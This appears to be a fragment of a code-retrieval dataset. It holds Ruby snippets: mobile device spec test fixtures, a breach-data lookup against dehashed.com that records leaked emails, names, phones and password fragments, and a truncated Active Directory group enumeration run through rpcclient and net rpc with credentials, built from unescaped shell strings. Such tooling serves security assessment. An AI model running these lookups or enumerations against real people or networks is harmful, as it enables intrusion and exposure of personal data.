32\\\"],\\\"media_camera\\\":[\\\"5MP\\\",\\\"2592x1944\\\"],\\\"media_secondcamera\\\":[\\\"QVGA\\\"],\\\"media_videocapture\\\":[\\\"VGA@30fps\\\"],\\\"media_videoplayback\\\":[\\\"MPEG4\\\",\\\"H.263\\\",\\\"H.264\\\",\\\"3GPP\\\",\\\"RealVideo 8\\\",\\\"RealVideo 9\\\",\\\"RealVideo 10\\\"],\\\"media_audio\\\":[\\\"MP3\\\",\\\"AAC\\\",\\\"AAC+\\\",\\\"eAAC+\\\",\\\"WMA\\\"],\\\"media_other\\\":[\\\"Auto focus\\\",\\\"Video stabilizer\\\",\\\"Video calling\\\",\\\"Carl Zeiss optics\\\",\\\"LED Flash\\\"],\\\"features\\\":[\\\"Unlimited entries\\\",\\\"Multiple numbers per contact\\\",\\\"Picture ID\\\",\\\"Ring ID\\\",\\\"Calendar\\\",\\\"Alarm\\\",\\\"To-Do\\\",\\\"Document viewer\\\",\\\"Calculator\\\",\\\"Notes\\\",\\\"UPnP\\\",\\\"Computer sync\\\",\\\"VoIP\\\",\\\"Music ringtones (MP3)\\\",\\\"Vibration\\\",\\\"Phone profiles\\\",\\\"Speakerphone\\\",\\\"Accelerometer\\\",\\\"Voice dialing\\\",\\\"Voice commands\\\",\\\"Voice recording\\\",\\\"Push-to-Talk\\\",\\\"SMS\\\",\\\"MMS\\\",\\\"Email\\\",\\\"Instant Messaging\\\",\\\"Stereo FM radio\\\",\\\"Visual radio\\\",\\\"Dual slide design\\\",\\\"Organizer\\\",\\\"Word viewer\\\",\\\"Excel viewer\\\",\\\"PowerPoint viewer\\\",\\\"PDF viewer\\\",\\\"Predictive text input\\\",\\\"Push to talk\\\",\\\"Voice memo\\\",\\\"Games\\\"],\\\"connectors\\\":[\\\"USB\\\",\\\"MiniUSB\\\",\\\"3.5mm Audio\\\",\\\"TV Out\\\"],\\\"general_platform_version_max\\\":\\\"\\\",\\\"general_app\\\":\\\"\\\",\\\"general_app_version\\\":\\\"\\\",\\\"general_language\\\":\\\"\\\",\\\"display_ppi\\\":154,\\\"display_pixel_ratio\\\":\\\"1.0\\\",\\\"benchmark_min\\\":0,\\\"benchmark_max\\\":0,\\\"general_app_category\\\":\\\"\\\"}\"\r\n\t\t@nokiaN9 = \"{\\\"general_vendor\\\":\\\"nokia\\\",\\\"general_model\\\":\\\"n9\\\",\\\"general_platform\\\":\\\"meego\\\",\\\"general_platform_version\\\":\\\"1.2\\\",\\\"general_browser\\\":\\\"\\\",\\\"general_browser_version\\\":\\\"\\\",\\\"general_image\\\":\\\"\\\",\\\"general_aliases\\\":[\\\"nokia n9-00\\\",\\\"nokia n9 lankku\\\"],\\\"general_eusar\\\":\\\"1.16\\\",\\\"general_battery\\\":[\\\"li-ion 1450 mah\\\",\\\"bv-5jw\\\"],\\\"general_type\\\":\\\"mobile\\\",\\\"general_cpu\\\":[\\\"1.0ghz\\\"],\\\"design_formfactor\\\":\\\"bar\\\",\\\"design_dimensions\\\":\\\"116.45 x 61.2 x 12.1\\\",\\\"design_weight\\\":\\\"135\\\",\\\"design_antenna\\\":\\\"internal\\\",\\\"design_keyboard\\\":\\\"screen\\\",\\\"design_softkeys\\\":\\\"\\\",\\\"design_sidekeys\\\":[\\\"volume\\\",\\\"lock\\\"],\\\"display_type\\\":\\\"amoled\\\",\\\"display_color\\\":\\\"yes\\\",\\\"display_colors\\\":\\\"16m\\\",\\\"display_size\\\":\\\"3.9\\\\\\\"\\\",\\\"display_x\\\":\\\"480\\\",\\\"display_y\\\":\\\"854\\\",\\\"display_other\\\":[\\\"capacitive\\\",\\\"touch\\\",\\\"multitouch\\\",\\\"gorilla glass\\\"],\\\"memory_internal\\\":[\\\"16gb\\\",\\\"64gb\\\",\\\"1gb ram\\\"],\\\"memory_slot\\\":[],\\\"network\\\":[\\\"gsm850\\\",\\\"gsm900\\\",\\\"gsm1800\\\",\\\"gsm1900\\\",\\\"umts850\\\",\\\"umts900\\\",\\\"umts1700\\\",\\\"umts2100\\\",\\\"umts1900\\\",\\\"hsdpa850\\\",\\\"hsdpa900\\\",\\\"hsdpa1700\\\",\\\"hsdpa1900\\\",\\\"hsdpa2100\\\",\\\"nfc\\\",\\\"bluetooth 2.1\\\",\\\"802.11a\\\",\\\"802.11b\\\",\\\"802.11g\\\",\\\"802.11n\\\",\\\"gprs class 33\\\",\\\"edge class 33\\\"],\\\"media_camera\\\":[\\\"8mp\\\",\\\"3264x2448\\\"],\\\"media_secondcamera\\\":[\\\"yes\\\"],\\\"media_videocapture\\\":[\\\"720p@30fps\\\"],\\\"media_videoplayback\\\":[\\\"mpeg4\\\",\\\"h.263\\\",\\\"h.264\\\",\\\"xvid\\\",\\\"wmv\\\",\\\"avi\\\",\\\"3gpp\\\",\\\"flash video\\\"],\\\"media_audio\\\":[\\\"mp3\\\",\\\"aac\\\",\\\"eaac\\\",\\\"aac+\\\",\\\"eaac+\\\",\\\"flac\\\",\\\"wma\\\",\\\"wav\\\",\\\"m4a\\\",\\\"amr\\\",\\\"ogg\\\"],\\\"media_other\\\":[\\\"auto focus\\\",\\\"face detection\\\",\\\"exposure control\\\",\\\"white balance\\\",\\\"digital zoom\\\",\\\"geo-tagging\\\",\\\"continuous autofocus in a video\\\",\\\"video calling\\\",\\\"carl zeiss optics\\\",\\\"touch focus\\\",\\\"dual led flash\\\"],\\\"features\\\":[\\\"unlimited entries\\\",\\\"caller groups\\\",\\\"multiple numbers per contact\\\",\\\"search by both first and last name\\\",\\\"picture id\\\",\\\"ring id\\\",\\\"calendar\\\",\\\"alarm\\\",\\\"to-do\\\",\\\"document viewer\\\",\\\"office 2007 viewer\\\",\\\"office 2003 viewer\\\",\\\"pdf viewer\\\",\\\"other\\\",\\\"open document viewer\\\",\\\"calculator\\\",\\\"mass storage device\\\",\\\"usb charging\\\",\\\"computer sync\\\",\\\"ota sync\\\",\\\"music ringtones (mp3)\\\",\\\"polyphonic ringtones\\\",\\\"vibration\\\",\\\"flight mode\\\",\\\"silent mode\\\",\\\"speakerphone\\\",\\\"accelerometer\\\",\\\"compass\\\",\\\"voice recording\\\",\\\"light sensor\\\",\\\"proximity sensor\\\",\\\"sms\\\",\\\"threaded viewer\\\",\\\"mms\\\",\\\"email\\\",\\\"push email\\\",\\\"im\\\",\\\"microsim card support only\\\",\\\"sns integration\\\",\\\"active noise cancellation with dedicated mic\\\",\\\"dolby digital plus\\\",\\\"word viewer\\\",\\\"excel viewer\\\",\\\"powerpoint viewer\\\",\\\"video/photo editor\\\",\\\"voice memo\\\",\\\"voice command\\\",\\\"voice dialing\\\",\\\"predictive text input (swype)\\\",\\\"games\\\"],\\\"connectors\\\":[\\\"usb 2.0\\\",\\\"microusb\\\",\\\"3.5mm audio\\\",\\\"tv out\\\"],\\\"general_language\\\":\\\"\\\",\\\"general_platform_version_max\\\":\\\"\\\",\\\"general_app\\\":\\\"\\\",\\\"general_app_version\\\":\\\"\\\",\\\"display_ppi\\\":251,\\\"display_pixel_ratio\\\":\\\"1.0\\\",\\\"benchmark_min\\\":0,\\\"benchmark_max\\\":0,\\\"general_app_category\\\":\\\"\\\"}\"\r\n\t\t@AlcatelOT_908222 = '{\"general_vendor\":\"Alcatel\",\"general_model\":\"OT-908\",\"general_platform\":\"Android\",\"general_platform_version\":\"2.2\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_image\":\"\",\"general_aliases\":[\"Alcatel One Touch 908\"],\"general_eusar\":\"\",\"general_battery\":[\"Li-Ion 1300 mAh\"],\"general_type\":\"Mobile\",\"general_cpu\":[\"600Mhz\"],\"design_formfactor\":\"Bar\",\"design_dimensions\":\"110 x 57.4 x 12.4\",\"design_weight\":\"120\",\"design_antenna\":\"Internal\",\"design_keyboard\":\"Screen\",\"design_softkeys\":\"\",\"design_sidekeys\":[\"Lock/Unlock\",\"Volume\"],\"display_type\":\"TFT\",\"display_color\":\"Yes\",\"display_colors\":\"262K\",\"display_size\":\"2.8\\\"\",\"display_x\":\"240\",\"display_y\":\"320\",\"display_other\":[\"Capacitive\",\"Touch\",\"Multitouch\"],\"memory_internal\":[\"150MB\"],\"memory_slot\":[\"microSD\",\"microSDHC\",\"32GB\",\"2GB\"],\"network\":[\"GSM850\",\"GSM900\",\"GSM1800\",\"GSM1900\",\"UMTS900\",\"UMTS2100\",\"HSDPA900\",\"HSDPA2100\",\"Bluetooth 3.0\",\"802.11b\",\"802.11g\",\"802.11n\",\"GPRS Class 12\",\"EDGE Class 12\"],\"media_camera\":[\"2MP\",\"1600x1200\"],\"media_secondcamera\":[],\"media_videocapture\":[\"Yes\"],\"media_videoplayback\":[\"MPEG4\",\"H.263\",\"H.264\"],\"media_audio\":[\"MP3\",\"AAC\",\"AAC+\",\"WMA\"],\"media_other\":[\"Geo-tagging\"],\"features\":[\"Unlimited entries\",\"Caller groups\",\"Multiple numbers per contact\",\"Search by both first and last name\",\"Picture ID\",\"Ring ID\",\"Calendar\",\"Alarm\",\"Calculator\",\"Computer sync\",\"OTA sync\",\"Music ringtones (MP3)\",\"Polyphonic ringtones (64 voices)\",\"Vibration\",\"Flight mode\",\"Silent mode\",\"Speakerphone\",\"Accelerometer\",\"Compass\",\"Voice recording\",\"SMS\",\"MMS\",\"Email\",\"Push Email\",\"IM\",\"Stereo FM radio with RDS\",\"SNS integration\",\"Google Search\",\"Maps\",\"Gmail\",\"YouTube\",\"Google Talk\",\"Picasa integration\",\"Organizer\",\"Document viewer\",\"Voice memo\",\"Voice dialing\",\"Predictive text input\",\"Games\"],\"connectors\":[\"USB 2.0\",\"microUSB\",\"3.5mm Headphone\"],\"general_language\":\"\"}'\r\n\t\t@SamsungSCH_M828C = '{\"general_vendor\":\"Samsung\",\"general_model\":\"SCH-M828C\",\"general_platform\":\"Android\",\"general_platform_version\":\"2.2\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_image\":\"samsungsch-m828c-1355919519-0.jpg\",\"general_aliases\":[\"Samsung Galaxy Prevail\",\"Samsung Galaxy Precedent\"],\"general_eusar\":\"\",\"general_battery\":[\"Li-Ion 1500 mAh\"],\"general_type\":\"Mobile\",\"general_cpu\":[\"800Mhz\"],\"design_formfactor\":\"Bar\",\"design_dimensions\":\"113 x 57 x 12\",\"design_weight\":\"108\",\"design_antenna\":\"Internal\",\"design_keyboard\":\"Screen\",\"design_softkeys\":\"\",\"design_sidekeys\":[],\"display_type\":\"TFT\",\"display_color\":\"Yes\",\"display_colors\":\"262K\",\"display_size\":\"3.2\\\"\",\"display_x\":\"320\",\"display_y\":\"480\",\"display_other\":[\"Capacitive\",\"Touch\",\"Multitouch\",\"Touch Buttons\"],\"memory_internal\":[\"117MB\"],\"memory_slot\":[\"microSD\",\"microSDHC\",\"32GB\",\"2GB\"],\"network\":[\"CDMA800\",\"CDMA1900\",\"Bluetooth 3.0\"],\"media_camera\":[\"2MP\",\"1600x1200\"],\"media_secondcamera\":[],\"media_videocapture\":[\"QVGA\"],\"media_videoplayback\":[\"MP3\",\"WAV\",\"eAAC+\"],\"media_audio\":[\"MP4\",\"H.264\",\"H.263\"],\"media_other\":[\"Geo-tagging\"],\"features\":[\"Unlimited entries\",\"Caller groups\",\"Multiple numbers per contact\",\"Search by both first and last name\",\"Picture ID\",\"Ring ID\",\"Calendar\",\"Alarm\",\"Document viewer\",\"Calculator\",\"Computer sync\",\"OTA sync\",\"Music ringtones (MP3)\",\"Polyphonic ringtones\",\"Vibration\",\"Flight mode\",\"Silent mode\",\"Speakerphone\",\"Accelerometer\",\"Voice dialing\",\"Voice recording\",\"SMS\",\"Threaded viewer\",\"MMS\",\"Email\",\"Push Email\",\"IM\",\"Organizer\",\"Google Search\",\"Maps\",\"Gmail\",\"YouTube\",\"Google Talk\",\"Picasa integration\",\"Voice memo\",\"Predictive text input (Swype)\",\"Games\"],\"connectors\":[\"USB\",\"microUSB\",\"3.5mm Headphone\"],\"general_language\":\"\"}'\r\n\t\t@AlcatelOT_90822 = '{\"general_vendor\":\"Alcatel\",\"general_model\":\"OT-908\",\"general_platform\":\"Android\",\"general_platform_version\":\"2.2\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_image\":\"\",\"general_aliases\":[\"Alcatel One Touch 908\"],\"general_eusar\":\"\",\"general_battery\":[\"Li-Ion 1300 mAh\"],\"general_type\":\"Mobile\",\"general_cpu\":[\"600Mhz\"],\"design_formfactor\":\"Bar\",\"design_dimensions\":\"110 x 57.4 x 12.4\",\"design_weight\":\"120\",\"design_antenna\":\"Internal\",\"design_keyboard\":\"Screen\",\"design_softkeys\":\"\",\"design_sidekeys\":[\"Lock/Unlock\",\"Volume\"],\"display_type\":\"TFT\",\"display_color\":\"Yes\",\"display_colors\":\"262K\",\"display_size\":\"2.8\\\"\",\"display_x\":\"240\",\"display_y\":\"320\",\"display_other\":[\"Capacitive\",\"Touch\",\"Multitouch\"],\"memory_internal\":[\"150MB\"],\"memory_slot\":[\"microSD\",\"microSDHC\",\"32GB\",\"2GB\"],\"network\":[\"GSM850\",\"GSM900\",\"GSM1800\",\"GSM1900\",\"UMTS900\",\"UMTS2100\",\"HSDPA900\",\"HSDPA2100\",\"Bluetooth 3.0\",\"802.11b\",\"802.11g\",\"802.11n\",\"GPRS Class 12\",\"EDGE Class 12\"],\"media_camera\":[\"2MP\",\"1600x1200\"],\"media_secondcamera\":[],\"media_videocapture\":[\"Yes\"],\"media_videoplayback\":[\"MPEG4\",\"H.263\",\"H.264\"],\"media_audio\":[\"MP3\",\"AAC\",\"AAC+\",\"WMA\"],\"media_other\":[\"Geo-tagging\"],\"features\":[\"Unlimited entries\",\"Caller groups\",\"Multiple numbers per contact\",\"Search by both first and last name\",\"Picture ID\",\"Ring ID\",\"Calendar\",\"Alarm\",\"Calculator\",\"Computer sync\",\"OTA sync\",\"Music ringtones (MP3)\",\"Polyphonic ringtones (64 voices)\",\"Vibration\",\"Flight mode\",\"Silent mode\",\"Speakerphone\",\"Accelerometer\",\"Compass\",\"Voice recording\",\"SMS\",\"MMS\",\"Email\",\"Push Email\",\"IM\",\"Stereo FM radio with RDS\",\"SNS integration\",\"Google Search\",\"Maps\",\"Gmail\",\"YouTube\",\"Google Talk\",\"Picasa integration\",\"Organizer\",\"Document viewer\",\"Voice memo\",\"Voice dialing\",\"Predictive text input\",\"Games\"],\"connectors\":[\"USB 2.0\",\"microUSB\",\"3.5mm Headphone\"],\"general_language\":\"\"}'\t\t\r\n\t\t@SamsungGT_P1000 = '{\"general_vendor\":\"Samsung\",\"general_model\":\"GT-P1000\",\"general_platform\":\"Android\",\"general_platform_version\":\"2.2\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_image\":\"samsunggt-p1000-1368755043-0.jpg\",\"general_aliases\":[\"Samsung Galaxy Tab\"],\"general_eusar\":\"1.07\",\"general_battery\":[\"Li-Ion 4000 mAh\"],\"general_type\":\"Tablet\",\"general_cpu\":[\"1000Mhz\"],\"design_formfactor\":\"Bar\",\"design_dimensions\":\"190.1 x 120.45 x 11.98\",\"design_weight\":\"380\",\"design_antenna\":\"Internal\",\"design_keyboard\":\"Screen\",\"design_softkeys\":\"\",\"design_sidekeys\":[],\"display_type\":\"TFT\",\"display_color\":\"Yes\",\"display_colors\":\"16M\",\"display_size\":\"7\\\"\",\"display_x\":\"1024\",\"display_y\":\"600\",\"display_other\":[\"Capacitive\",\"Touch\",\"Multitouch\",\"Touch Buttons\",\"Gorilla Glass\",\"TouchWiz\"],\"memory_internal\":[\"16GB\",\"32GB\",\"512MB RAM\"],\"memory_slot\":[\"microSD\",\"microSDHC\",\"32GB\"],\"network\":[\"GSM850\",\"GSM900\",\"GSM1800\",\"GSM1900\",\"UMTS900\",\"UMTS1900\",\"UMTS2100\",\"HSDPA900\",\"HSDPA1900\",\"HSDPA2100\",\"Bluetooth 3.0\",\"802.11b\",\"802.11g\",\"802.11n\",\"GPRS\",\"EDGE\"],\"media_camera\":[\"3.15MP\",\"2048x1536\"],\"media_secondcamera\":[\"1.3MP\"],\"media_videocapture\":[\"720x480@30fps\"],\"media_videoplayback\":[\"MPEG4\",\"H.264\",\"DivX\",\"XviD\"],\"media_audio\":[\"MP3\",\"AAC\",\"FLAC\",\"WMA\",\"WAV\",\"AMR\",\"OGG\",\"MIDI\"],\"media_other\":[\"Auto focus\",\"Video calling\",\"Geo-tagging\",\"LED Flash\"],\"features\":[\"Unlimited entries\",\"Caller groups\",\"Multiple numbers per contact\",\"Search by both first and last name\",\"Picture ID\",\"Ring ID\",\"Calendar\",\"Alarm\",\"Document viewer\",\"Calculator\",\"DLNA\",\"Computer sync\",\"OTA sync\",\"Music ringtones (MP3)\",\"Flight mode\",\"Silent mode\",\"Speakerphone\",\"Accelerometer\",\"Voice commands\",\"Voice recording\",\"SMS\",\"Threaded viewer\",\"MMS\",\"Email\",\"Push Mail\",\"IM\",\"RSS\",\"Social networking integration\",\"Full HD video playback\",\"Up to 7h movie playback\",\"Organizer\",\"Image/video editor\",\"Thinkfree Office\",\"Word viewer\",\"Excel viewer\",\"PowerPoint viewer\",\"PDF viewer\",\"Google Search\",\"Maps\",\"Gmail\",\"YouTube\",\"Google Talk\",\"Picasa integration\",\"Readers/Media/Music Hub\",\"Voice memo\",\"Voice dialing\",\"Predictive text input (Swype)\",\"Games\"],\"connectors\":[\"USB\",\"3.5mm Headphone\",\"TV Out\",\"MHL\"],\"general_language\":\"\"}'\t\t\r\n\t\t@GenericOperaMini = '{\"general_vendor\":\"Generic\",\"general_model\":\"Opera Mini 5\",\"general_platform\":\"\",\"general_platform_version\":\"\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_image\":\"\",\"general_aliases\":[],\"general_eusar\":\"\",\"general_battery\":[],\"general_type\":\"Mobile\",\"general_cpu\":[],\"design_formfactor\":\"\",\"design_dimensions\":\"\",\"design_weight\":\"\",\"design_antenna\":\"\",\"design_keyboard\":\"\",\"design_softkeys\":\"\",\"design_sidekeys\":[],\"display_type\":\"\",\"display_color\":\"\",\"display_colors\":\"\",\"display_size\":\"\",\"display_x\":\"176\",\"display_y\":\"160\",\"display_other\":[],\"memory_internal\":[],\"memory_slot\":[],\"network\":[],\"media_camera\":[],\"media_secondcamera\":[],\"media_videocapture\":[],\"media_videoplayback\":[],\"media_audio\":[],\"media_other\":[],\"features\":[],\"connectors\":[]}'\r\n\t\t@AppleiPhone = '{\"general_vendor\":\"Apple\",\"general_model\":\"iPhone\",\"general_platform\":\"iOS\",\"general_image\":\"apple^iphone.jpg\",\"general_aliases\":[],\"general_eusar\":\"0.97\",\"general_battery\":[\"Li-Ion 1400 mAh\"],\"general_type\":\"Mobile\",\"general_cpu\":[\"ARM 11\",\"412Mhz\"],\"design_formfactor\":\"Bar\",\"design_dimensions\":\"115 x 61 x 11.6\",\"design_weight\":\"135\",\"design_antenna\":\"Internal\",\"design_keyboard\":\"Screen\",\"design_softkeys\":\"\",\"design_sidekeys\":[\"Volume\"],\"display_type\":\"TFT\",\"display_color\":\"Yes\",\"display_colors\":\"16M\",\"display_size\":\"3.5\\\"\",\"display_x\":\"320\",\"display_y\":\"480\",\"display_other\":[\"Capacitive\",\"Touch\",\"Multitouch\",\"Gorilla Glass\"],\"memory_internal\":[\"4GB\",\"8GB\",\"16GB RAM\"],\"memory_slot\":[],\"network\":[\"GSM850\",\"GSM900\",\"GSM1800\",\"GSM1900\",\"Bluetooth 2.0\",\"802.11b\",\"802.11g\",\"GPRS\",\"EDGE\"],\"media_camera\":[\"2MP\",\"1600x1200\"],\"media_secondcamera\":[],\"media_videocapture\":[],\"media_videoplayback\":[\"MPEG4\",\"H.264\"],\"media_audio\":[\"MP3\",\"AAC\",\"WAV\"],\"media_other\":[],\"features\":[\"Unlimited entries\",\"Multiple numbers per contact\",\"Picture ID\",\"Ring ID\",\"Calendar\",\"Alarm\",\"Document viewer\",\"Calculator\",\"Timer\",\"Stopwatch\",\"Computer sync\",\"OTA sync\",\"Polyphonic ringtones\",\"Vibration\",\"Phone profiles\",\"Flight mode\",\"Silent mode\",\"Speakerphone\",\"Accelerometer\",\"Voice recording\",\"Light sensor\",\"Proximity sensor\",\"SMS\",\"Threaded viewer\",\"Email\",\"Google Maps\",\"Audio/video player\",\"Games\"],\"connectors\":[\"USB\",\"3.5mm Headphone\",\"TV Out\"],\"general_platform_version\":\"1.x\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_language\":\"\"}'\r\n\t\t@SonyEricssonX10I = '{\"general_vendor\":\"SonyEricsson\",\"general_model\":\"X10I\",\"general_platform\":\"Android\",\"general_platform_version\":\"1.6\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_image\":\"\",\"general_aliases\":[\"SonyEricsson Xperia X10\",\"SonyEricsson X10\"],\"general_eusar\":\"\",\"general_battery\":[\"Li-Po 1500 mAh\",\"BST-41\"],\"general_type\":\"Mobile\",\"general_cpu\":[\"1000Mhz\"],\"design_formfactor\":\"Bar\",\"design_dimensions\":\"119 x 63 x 13\",\"design_weight\":\"135\",\"design_antenna\":\"Internal\",\"design_keyboard\":\"Screen\",\"design_softkeys\":\"\",\"design_sidekeys\":[\"Volume\",\"Camera\"],\"display_type\":\"TFT\",\"display_color\":\"Yes\",\"display_colors\":\"65K\",\"display_size\":\"4\\\"\",\"display_x\":\"480\",\"display_y\":\"854\",\"display_other\":[\"Capacitive\",\"Touch\",\"Multitouch\"],\"memory_internal\":[\"1GB\",\"384MB RAM\"],\"memory_slot\":[\"microSD\",\"microSDHC\",\"32GB\",\"8GB\"],\"network\":[\"GSM850\",\"GSM900\",\"GSM1800\",\"GSM1900\",\"UMTS900\",\"UMTS1700\",\"UMTS2100\",\"HSDPA900\",\"HSDPA1700\",\"HSDPA2100\",\"Bluetooth 2.1\",\"802.11b\",\"802.11g\",\"GPRS Class 10\",\"EDGE Class 10\"],\"media_camera\":[\"8MP\",\"3264x2448\"],\"media_secondcamera\":[],\"media_videocapture\":[\"WVGA@30fps\"],\"media_videoplayback\":[\"MPEG4\"],\"media_audio\":[\"MP3\",\"AAC\",\"AAC+\",\"WMA\",\"WAV\"],\"media_other\":[\"Auto focus\",\"Image stabilizer\",\"Video stabilizer\",\"Face detection\",\"Smile detection\",\"Digital zoom\",\"Geo-tagging\",\"Touch focus\",\"LED Flash\"],\"features\":[\"Unlimited entries\",\"Caller groups\",\"Multiple numbers per contact\",\"Search by both first and last name\",\"Picture ID\",\"Ring ID\",\"Calendar\",\"Alarm\",\"Document viewer\",\"Calculator\",\"World clock\",\"Stopwatch\",\"Notes\",\"Computer sync\",\"OTA sync\",\"Music ringtones (MP3)\",\"Polyphonic ringtones\",\"Vibration\",\"Flight mode\",\"Silent mode\",\"Speakerphone\",\"Voice recording\",\"Accelerometer\",\"Compass\",\"Timescape/Mediascape UI\",\"SMS\",\"Threaded viewer\",\"MMS\",\"Email\",\"Push email\",\"IM\",\"Google Search\",\"Maps\",\"Gmail\",\"YouTube\",\"Google Talk\",\"Facebook and Twitter integration\",\"Voice memo\",\"Games\"],\"connectors\":[\"USB 2.0\",\"microUSB\",\"3.5mm Headphone\"],\"general_language\":\"\"}'\r\n\t\t@Device_10 = '{\"Device\":{\"_id\":\"10\",\"hd_specs\":{\"general_vendor\":\"Samsung\",\"general_model\":\"SPH-A680\",\"general_platform\":\"\",\"general_platform_version\":\"\",\"general_browser\":\"\",\"general_browser_version\":\"\",\"general_image\":\"samsungsph-a680-1403617960-0.jpg\",\"general_aliases\":[\"Samsung VM-A680\"],\"general_eusar\":\"\",\"general_battery\":[\"Li-Ion 900 mAh\"],\"general_type\":\"Mobile\",\"general_cpu\":[],\"design_formfactor\":\"Clamshell\",\"design_dimensions\":\"83 x 46 x 24\",\"design_weight\":\"96\",\"design_antenna\":\"Internal\",\"design_keyboard\":\"Numeric\",\"design_softkeys\":\"2\",\"design_sidekeys\":[],\"display_type\":\"TFT\",\"display_color\":\"Yes\",\"display_colors\":\"65K\",\"display_size\":\"\",\"display_x\":\"128\",\"display_y\":\"160\",\"display_other\":[\"Second External TFT\"],\"memory_internal\":[],\"memory_slot\":[],\"network\":[\"CDMA800\",\"CDMA1900\",\"AMPS800\"],\"media_camera\":[\"VGA\",\"640x480\"],\"media_secondcamera\":[],\"media_videocapture\":[\"Yes\"],\"media_videoplayback\":[],\"media_audio\":[],\"media_other\":[\"Exposure control\",\"White balance\",\"Multi shot\",\"Self-timer\",\"LED Flash\"],\"features\":[\"300 entries\",\"Multiple numbers per contact\",\"Picture ID\",\"Ring ID\",\"Calendar\",\"Alarm\",\"To-Do\",\"Calculator\",\"Stopwatch\",\"SMS\",\"T9\",\"Computer sync\",\"Polyphonic ringtones (32 voices)\",\"Vibration\",\"Voice dialing (Speaker independent)\",\"Voice recording\",\"TTY\\/TDD\",\"Games\"],\"connectors\":[\"USB\"]}}}'\r\n\r\n\t\t@headers = Hash.new\r\n\t\t@headers['AlcatelOT-908222'] = @AlcatelOT_908222\r\n\t\t@headers['SamsungSCH-M828C'] = @SamsungSCH_M828C\r\n\t\t@headers['AlcatelOT-90822'] = @AlcatelOT_90822\r\n\t\t@headers['SamsungGT-P1000'] = @SamsungGT_P1000\r\n\t\t@headers['GenericOperaMini'] = @GenericOperaMini\r\n\t\t@headers['AppleiPhone'] = @AppleiPhone\r\n\t\t@headers['SonyEricssonX10I'] = @SonyEricssonX10I\r\n\r\n\t\t@map = Hash['h1'=>@h1, 'h2'=>@h2, 'h3'=>@h3, 'h4'=>@h4, 'h5'=>@h5, 'h6'=>@h6, 'h7'=>@h7]\r\n\r\n\t\t#@vendors = hd_remote(Configuration.get('vendors') + \".json\", \"\")\r\n\t\t#@vendor = JSON.parse(deviceVendors())\r\n\t\t#@model = JSON.parse(deviceModels('Sagem'))\r\n\t\t#@deviceView = JSON.parse(deviceView(\"Nokia\",\"N95\"))\r\n\t\t#@devicewWhatHas = JSON.parse(deviceWhatHas('network', 'CDMA'))\r\n\t\t#@fetchTrees = JSON.parse(siteFetchTrees())\r\n\t\t#@fetchSpecs = JSON.parse(siteFetchSpecs())\r\n\r\n\t\tRails::logger.debug\r\n\tend", "title": "" }, { "docid": "e6661ea25139b7646b2b5290e0257563", "score": "0.46586543", "text": "def search_by_emailaddress entity_name,headers\n\n begin\n\n response = http_get_body(\"https://dehashed.com/search?query=#{entity_name}&page=1\",nil,headers)\n json = JSON.parse(response)\n puts json\n\n #check if entries different to null\n if json[\"entries\"]\n\n\n json[\"entries\"].each do |e|\n\n #check if email different to null and create entity\n if e[\"email\"]\n _create_entity(\"EmailAddress\", {\"name\" => e[\"email\"]})\n #check if username different to null and create entity\n if e[\"username\"]\n _create_entity(\"Person\", {\"name\" => e[\"username\"]})\n end\n #check if name different to null and create entity\n if e[\"name\"]\n _create_entity(\"Person\", {\"name\" => e[\"name\"]})\n end\n #check if IP address different to null and create entity\n if e[\"ip_address\"]\n _create_entity(\"IpAddress\", {\"name\" => e[\"ip_address\"]})\n\n end\n #check if phone number different to null and create entity\n if e[\"phone\"]\n _create_entity(\"PhoneNumber\", {\"name\" => e[\"phone\"]})\n\n end\n #check if address different to null and create entity\n #if e[\"address\"]\n # _create_entity(\"PhysicalLocation\", {\"name\" => e[\"address\"]})\n #end\n\n #create an issue about the investigited email\n _create_issue({\n name: \"leak found related to: #{_get_entity_name}\",\n type: \"Data leak\",\n severity: 2,\n status: \"confirmed\",\n description:\"Email:#{e[\"email\"]}\\n username: #{e[\"username\"]}\\n password: *******#{e[\"password\"][-4...-1]}\\n\n # Hashed Password:#{e[\"hashed_password\"]}\\n IP Address: #{e[\"ip_address\"]}\\n phone:#{e[\"phone\"]} Source #{e[\"obtained_from\"]}\",\n details: e\n })\n end\n end\n while json[\"entries\"] do\n page_num += 1\n\n response = http_get_body(\"https://dehashed.com/search?query=#{entity_name}&page=#{page_num}\",nil, headers)\n json = JSON.parse(response)\n\n #check if entries different to null\n if json[\"entries\"]\n\n json[\"entries\"].each do |e|\n #check if Email different to null and create entity\n if e[\"email\"]\n _create_entity(\"EmailAddress\", {\"name\" => e[\"email\"]})\n end\n #check if username different to null and create entity\n if e[\"username\"]\n _create_entity(\"Person\", {\"name\" => e[\"username\"]})\n end\n #check if name different to null and create entity\n if e[\"name\"]\n _create_entity(\"Person\", {\"name\" => e[\"name\"]})\n end\n #check if phone number different to null and create entity\n if e[\"phone\"]\n _create_entity(\"PhoneNumber\", {\"name\" => e[\"phone\"]})\n end\n #check if address different to null and create entity\n #if e[\"address\"]\n # _create_entity(\"PhysicalLocation\", {\"name\" => e[\"address\"]})\n #end\n\n _create_issue({\n name: \"leak found related to: #{_get_entity_name} Source: #{e[\"obtained_from\"]}\",\n type: \"Data leak\",\n severity: 2,\n status: \"confirmed\",\n description:\"Email:#{e[\"email\"]}\\n username: #{e[\"username\"]}\\n password: *******#{e[\"password\"][-4...-1]}\\n\n # Hashed Password:#{e[\"hashed_password\"]}\\n IP Address: #{e[\"ip_address\"]}\\n phone:#{e[\"phone\"]} Source #{e[\"obtained_from\"]}\",\n details: e\n })\n end\n\n end\n return\n end\n end\n #exciption\n rescue JSON::ParserError => e\n _log_error \"Unable to parse JSON: #{e}\"\n end\n\n end", "title": "" }, { "docid": "9f45c0f62361c709c85baecfaea7f8ae", "score": "0.46574393", "text": "def enum_group_membership(domain,username,password,dc_ip,group)\n cmd = `rpcclient -U '#{domain}\\\\\\\\#{username}%#{password}' #{dc_ip} -c lsaquery | head -n 1`\n\n groupFormatted = group.gsub(' ','-')\n output = \"#{domain}-#{groupFormatted}.txt\"\n enum = `net rpc group members \"#{group}\" -I #{dc_ip} -U \"#{domain}\\\\#{username}%#{password}\"`\n\n if enum.length == 0\n puts \"[-] It looks like the target domain contoller at #{dc_ip} is unresponsive or the group #{group} does not exist\"\n puts \"[+] 